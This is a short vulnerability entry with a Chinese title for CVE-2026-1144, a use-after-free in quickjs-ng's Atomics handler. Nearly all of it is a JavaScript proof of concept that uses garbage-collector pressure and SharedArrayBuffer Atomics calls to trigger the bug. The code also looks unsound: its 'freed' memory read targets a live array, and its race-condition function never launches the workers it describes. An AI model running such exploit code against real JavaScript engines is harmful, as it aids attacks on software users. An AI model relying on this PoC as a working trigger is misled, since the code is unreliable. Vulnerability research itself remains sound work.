CVE-2026-1144: quickjs-ng quickjs Atomics Ops Handler 释放后重用漏洞

// CVE-2026-1144 PoC - Use After Free in quickjs Atomics Ops Handler // This PoC demonstrates triggering the UAF condition // Helper function to create pressure on garbage collector function createMemoryPressure() { let arrays = []; for (let i = 0; i < 100; i++) { arrays.push(new Array(10000).fill(i)); } return arrays; } // Trigger Atomics operations that may lead to UAF async function triggerUAF() { const sharedBuffer = new SharedArrayBuffer(1024); const int32Array = new Int32Array(sharedBuffer); // Create and immediately release objects for (let i = 0; i < 1000; i++) { const tempArray = new Int32Array(sharedBuffer); // Perform Atomics operation Atomics.add(tempArray, 0, 1); Atomics.store(tempArray, 0, i); // Create memory pressure to trigger GC if (i % 100 === 0) { createMemoryPressure(); } } // Attempt to access previously released memory try { const result = Atomics.load(int32Array, 0); console.log('Triggered UAF, value:', result); } catch (e) { console.error('Error:', e.message); } } // Race condition trigger function raceConditionTrigger() { const buffer = new SharedArrayBuffer(4096); // Spawn multiple workers to create race conditions const workers = []; for (let i = 0; i < 5; i++) { const workerCode = ` const buffer = new SharedArrayBuffer(4096); const arr = new Int32Array(buffer); for (let j = 0; j < 10000; j++) { Atomics.add(arr, 0, 1); Atomics.sub(arr, 0, 1); } `; // Worker creation would be done here in real scenario } } // Execute PoC triggerUAF(); console.log('PoC execution completed');